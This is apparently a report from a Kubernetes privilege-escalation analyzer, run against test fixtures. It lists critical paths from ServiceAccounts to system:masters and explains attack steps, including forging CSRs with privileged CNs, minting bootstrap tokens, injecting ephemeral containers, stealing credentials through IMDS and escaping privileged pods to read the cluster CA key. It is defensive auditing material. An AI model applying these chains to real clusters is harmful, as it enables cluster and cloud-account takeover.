    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
CRITICAL ServiceAccount/nodeid-fixtures/nodeid-joiner → the system:masters group score 9.2 3 hops View finding →

ServiceAccount `nodeid-joiner` in namespace `nodeid-fixtures` reaches the system:masters group in 3 hops via Kubelet CSR auto-approval: a node identity for any name → Node authorizer: token request for a node's pods → CSR self-approval: forging a cluster identity.

  1. Step 1 of 3 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount csr-fixtures/sa-csr-mint, whose pod is bound there
  3. Step 3 of 3 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
CRITICAL ServiceAccount/privesc-fixtures/sa-ephemeral → the system:masters group score 9.0 2 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches the system:masters group in 2 hops via Ephemeral container injection → CSR self-approval: forging a cluster identity.

  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-exec → the system:masters group score 9.0 2 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches the system:masters group in 2 hops via Pod exec → container takeover → CSR self-approval: forging a cluster identity.

  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
CRITICAL ServiceAccount/rbac-fixtures/sa-pod-create → the system:masters group score 9.0 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches the system:masters group in 2 hops via Pod creation → ServiceAccount token theft → CSR self-approval: forging a cluster identity.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
Survives cutting the crb-pod-create binding (2 hops)

This route reaches the same target without the crb-pod-create binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod rbac-fixtures/daemon-app-v82sg falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
CRITICAL ServiceAccount/rbac-fixtures/sa-workload-mutate → the system:masters group score 9.0 2 hops View finding →

ServiceAccount `sa-workload-mutate` in namespace `rbac-fixtures` reaches the system:masters group in 2 hops via Workload creation → ServiceAccount token theft → CSR self-approval: forging a cluster identity.

  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
CRITICAL ServiceAccount/vulnerable/privileged-reader → the system:masters group score 9.0 2 hops View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches the system:masters group in 2 hops via Pod creation → ServiceAccount token theft → CSR self-approval: forging a cluster identity.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
CRITICAL ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → the system:masters group score 8.9 3 hops View finding →

ServiceAccount `nodeid-tokenwriter` in namespace `nodeid-fixtures` reaches the system:masters group in 3 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → CSR self-approval: forging a cluster identity.

  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount csr-fixtures/sa-csr-mint, whose pod is bound there
  3. Step 3 of 3 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
CRITICAL ServiceAccount/privesc-fixtures/sa-secret-mint → the system:masters group score 8.9 3 hops View finding →

ServiceAccount `sa-secret-mint` in namespace `privesc-fixtures` reaches the system:masters group in 3 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → CSR self-approval: forging a cluster identity.

  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount csr-fixtures/sa-csr-mint, whose pod is bound there
  3. Step 3 of 3 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
CRITICAL ServiceAccount/cloud-eks-test/eks-admin-irsa → the system:masters group score 8.8 2 hops View finding →

ServiceAccount `eks-admin-irsa` in namespace `cloud-eks-test` reaches the system:masters group in 2 hops via Assume AWS IAM Role via IRSA → AWS IAM principal granted cluster-admin via aws-auth.

  1. Step 1 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
  2. Step 2 of 2 AWS IAM principal granted cluster-admin via aws-auth aws_auth_admin

    EKS authenticates AWS IAM principals into Kubernetes via the kube-system/aws-auth ConfigMap. Each entry under mapRoles / mapUsers ties an IAM role or user ARN to a Kubernetes username and a list of groups. If that group list contains system:masters, the IAM principal is hard-coded as cluster-admin by the apiserver. If it contains any group bound to cluster-admin via a ClusterRoleBinding, the effect is the same: the IAM principal can do anything in the cluster.

    This grant is invisible to kubectl get clusterrolebindings: the mapping lives in a ConfigMap and the resulting identity is synthesized at request-time by the EKS aws-iam-authenticator.

    From User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted system:masters via aws-auth
    Gives the attacker external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth
CRITICAL ServiceAccount/cutres/cutres-doublebind → the system:masters group score 8.8 2 hops View finding →

ServiceAccount `cutres-doublebind` in namespace `cutres` reaches the system:masters group in 2 hops via Create a privileged pod and escape to the node → Control-plane PKI theft.

  1. Step 1 of 2 Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Survives cutting the cutres-pod-creator-a binding (2 hops)

This route reaches the same target without the cutres-pod-creator-a binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
CRITICAL ServiceAccount/foothold-fixtures/foothold-priv → the system:masters group score 8.8 2 hops View finding →

ServiceAccount `foothold-priv` in namespace `foothold-fixtures` reaches the system:masters group in 2 hops via Container escape to host → Control-plane PKI theft.

  1. Step 1 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted privileged
    Gives the attacker runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
CRITICAL ServiceAccount/hookbackend-fixtures/hookbackend-operator → the system:masters group score 8.8 2 hops View finding →

ServiceAccount `hookbackend-operator` in namespace `hookbackend-fixtures` reaches the system:masters group in 2 hops via Control-plane backend hijack → Control-plane PKI theft.

  1. Step 1 of 2 Control-plane backend hijack control_plane_backend_hijack

